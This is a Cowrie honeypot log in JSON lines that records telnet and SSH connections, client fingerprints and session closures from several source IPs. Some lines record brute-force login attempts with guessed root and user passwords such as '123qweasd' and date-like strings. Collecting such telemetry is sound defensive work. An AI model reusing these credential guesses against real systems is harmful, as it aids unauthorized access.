{"eventid":"cowrie.session.closed","duration":40.32908010482788,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:43.601916Z","src_ip":"104.245.105.2","session":"e21a7f774f2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59010,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c0d0fd4103e","protocol":"telnet","message":"New connection: 142.93.2.99:59010 (159.203.135.109:23) [session: 3c0d0fd4103e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:44.382294Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58718,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b32d52e3b6e","protocol":"telnet","message":"New connection: 142.93.2.99:58718 (159.203.135.109:23) [session: 2b32d52e3b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:44.965540Z"}
{"eventid":"cowrie.session.closed","duration":33.575796127319336,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:46.385865Z","src_ip":"142.93.2.99","session":"c46fca910ad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37658,"dst_ip":"10.17.0.5","dst_port":23,"session":"a736d3bc736c","protocol":"telnet","message":"New connection: 104.245.105.2:37658 (10.17.0.5:23) [session: a736d3bc736c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:48.978327Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34608,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e0aede11005","protocol":"telnet","message":"New connection: 142.93.2.99:34608 (159.203.135.109:23) [session: 8e0aede11005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:49.645873Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36312,"dst_ip":"159.203.135.109","dst_port":23,"session":"73a28293c204","protocol":"telnet","message":"New connection: 142.93.2.99:36312 (159.203.135.109:23) [session: 73a28293c204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:51.842339Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35872,"dst_ip":"159.203.135.109","dst_port":23,"session":"4660f0840c78","protocol":"telnet","message":"New connection: 142.93.2.99:35872 (159.203.135.109:23) [session: 4660f0840c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:52.197684Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38746,"dst_ip":"159.203.135.109","dst_port":23,"session":"484d79a33b85","protocol":"telnet","message":"New connection: 142.93.2.99:38746 (159.203.135.109:23) [session: 484d79a33b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:54.755275Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37568,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d054bff8669","protocol":"telnet","message":"New connection: 142.93.2.99:37568 (159.203.135.109:23) [session: 8d054bff8669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:08:56.281540Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43164,"dst_ip":"159.203.135.109","dst_port":23,"session":"2716a7c672cc","protocol":"telnet","message":"New connection: 142.93.2.99:43164 (159.203.135.109:23) [session: 2716a7c672cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:00.708709Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43358,"dst_ip":"159.203.135.109","dst_port":23,"session":"03912f135de7","protocol":"telnet","message":"New connection: 142.93.2.99:43358 (159.203.135.109:23) [session: 03912f135de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:00.965168Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45494,"dst_ip":"159.203.135.109","dst_port":23,"session":"be61561daa01","protocol":"telnet","message":"New connection: 142.93.2.99:45494 (159.203.135.109:23) [session: be61561daa01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:04.234363Z"}
{"eventid":"cowrie.session.closed","duration":33.11916995048523,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:04.602428Z","src_ip":"142.93.2.99","session":"6a43cde57c11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.14511442184448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:04.778755Z","src_ip":"142.93.2.99","session":"47ae07cf1cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52789521217346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:07.605204Z","src_ip":"142.93.2.99","session":"eda324fba4e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7932243347168,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:07.829833Z","src_ip":"142.93.2.99","session":"2802ca6cbccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.35632133483887,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:08.709829Z","src_ip":"142.93.2.99","session":"f4d074f9ee1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49514,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bd38af1975f","protocol":"telnet","message":"New connection: 142.93.2.99:49514 (159.203.135.109:23) [session: 8bd38af1975f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:09.620628Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50282,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1b334f153e5","protocol":"telnet","message":"New connection: 142.93.2.99:50282 (159.203.135.109:23) [session: e1b334f153e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:10.712040Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51588,"dst_ip":"159.203.135.109","dst_port":23,"session":"c348b394a39d","protocol":"telnet","message":"New connection: 142.93.2.99:51588 (159.203.135.109:23) [session: c348b394a39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:12.228790Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51666,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b4668f3851","protocol":"telnet","message":"New connection: 142.93.2.99:51666 (159.203.135.109:23) [session: 67b4668f3851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:12.339954Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53154,"dst_ip":"159.203.135.109","dst_port":23,"session":"397f067fb4c4","protocol":"telnet","message":"New connection: 142.93.2.99:53154 (159.203.135.109:23) [session: 397f067fb4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:14.185590Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.58.87.216","src_port":49656,"dst_ip":"159.203.135.109","dst_port":22,"session":"16b3c11233bb","protocol":"ssh","message":"New connection: 31.58.87.216:49656 (159.203.135.109:22) [session: 16b3c11233bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:14.893753Z"}
{"eventid":"cowrie.session.closed","duration":31.06897807121277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:16.034400Z","src_ip":"142.93.2.99","session":"2b32d52e3b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.149964570999146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:17.532139Z","src_ip":"142.93.2.99","session":"3c0d0fd4103e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":43314,"dst_ip":"159.203.135.109","dst_port":22,"session":"55417f4491ca","protocol":"ssh","message":"New connection: 186.233.118.22:43314 (159.203.135.109:22) [session: 55417f4491ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:19.462461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:19.467168Z","src_ip":"186.233.118.22","session":"55417f4491ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:19.587669Z","src_ip":"186.233.118.22","session":"55417f4491ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd","message":"login attempt [root/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:20.096619Z","src_ip":"186.233.118.22","session":"55417f4491ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58170,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc043588b9f5","protocol":"telnet","message":"New connection: 142.93.2.99:58170 (159.203.135.109:23) [session: cc043588b9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:20.251890Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:21.219012Z","src_ip":"186.233.118.22","session":"55417f4491ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.418675899505615,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:21.396891Z","src_ip":"104.245.105.2","session":"a736d3bc736c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75959610939026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:23.405397Z","src_ip":"142.93.2.99","session":"8e0aede11005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25875687599182,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:24.456331Z","src_ip":"142.93.2.99","session":"4660f0840c78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26872754096985,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:25.110942Z","src_ip":"142.93.2.99","session":"73a28293c204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15060043334961,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:27.905744Z","src_ip":"142.93.2.99","session":"484d79a33b85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36054,"dst_ip":"159.203.135.109","dst_port":23,"session":"b159b8641d21","protocol":"telnet","message":"New connection: 142.93.2.99:36054 (159.203.135.109:23) [session: b159b8641d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:28.065264Z"}
{"eventid":"cowrie.session.closed","duration":32.24641942977905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:28.527869Z","src_ip":"142.93.2.99","session":"8d054bff8669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39508,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef5fa37131dd","protocol":"telnet","message":"New connection: 142.93.2.99:39508 (159.203.135.109:23) [session: ef5fa37131dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:31.767258Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40786,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8f869832106","protocol":"telnet","message":"New connection: 142.93.2.99:40786 (159.203.135.109:23) [session: e8f869832106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:35.269298Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42522,"dst_ip":"159.203.135.109","dst_port":23,"session":"c11073e450bb","protocol":"telnet","message":"New connection: 142.93.2.99:42522 (159.203.135.109:23) [session: c11073e450bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:35.293348Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":59458,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fd0fbab7f67","protocol":"ssh","message":"New connection: 189.194.140.170:59458 (159.203.135.109:22) [session: 3fd0fbab7f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:35.785596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:35.791502Z","src_ip":"189.194.140.170","session":"3fd0fbab7f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:35.885013Z","src_ip":"189.194.140.170","session":"3fd0fbab7f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.931872844696045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:35.896932Z","src_ip":"142.93.2.99","session":"03912f135de7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43112,"dst_ip":"159.203.135.109","dst_port":23,"session":"062bb57c0520","protocol":"telnet","message":"New connection: 142.93.2.99:43112 (159.203.135.109:23) [session: 062bb57c0520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:35.977293Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"sunshine","message":"login attempt [root/sunshine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:36.258134Z","src_ip":"189.194.140.170","session":"3fd0fbab7f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09156799316406,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:36.800137Z","src_ip":"142.93.2.99","session":"2716a7c672cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:37.356833Z","src_ip":"189.194.140.170","session":"3fd0fbab7f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7575,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e0b5ed7f3f","protocol":"ssh","message":"New connection: 2.57.121.25:7575 (10.17.0.5:22) [session: b1e0b5ed7f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:38.237731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:38.241689Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:38.345148Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.59031867980957,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:38.824555Z","src_ip":"142.93.2.99","session":"be61561daa01","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"31011984","message":"login attempt [user/31011984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:38.834338Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"31011976","message":"login attempt [user/31011976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:39.949140Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"30121980","message":"login attempt [user/30121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:41.056610Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"30111991","message":"login attempt [user/30111991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:42.163548Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.91914367675781,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:42.539682Z","src_ip":"142.93.2.99","session":"8bd38af1975f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"30091979","message":"login attempt [user/30091979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:43.270659Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:44.378028Z","src_ip":"2.57.121.25","session":"b1e0b5ed7f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.97599983215332,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:44.687924Z","src_ip":"142.93.2.99","session":"e1b334f153e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.8415150642395,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:45.181376Z","src_ip":"142.93.2.99","session":"67b4668f3851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57248783111572,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:45.801202Z","src_ip":"142.93.2.99","session":"c348b394a39d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54378,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac25bf633e7b","protocol":"telnet","message":"New connection: 142.93.2.99:54378 (159.203.135.109:23) [session: ac25bf633e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:46.524693Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53804,"dst_ip":"159.203.135.109","dst_port":23,"session":"1751ff815124","protocol":"telnet","message":"New connection: 142.93.2.99:53804 (159.203.135.109:23) [session: 1751ff815124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:46.897383Z"}
{"eventid":"cowrie.session.closed","duration":33.68643307685852,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:47.871905Z","src_ip":"142.93.2.99","session":"397f067fb4c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55286,"dst_ip":"159.203.135.109","dst_port":23,"session":"5230ff2a097b","protocol":"telnet","message":"New connection: 142.93.2.99:55286 (159.203.135.109:23) [session: 5230ff2a097b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:48.549435Z"}
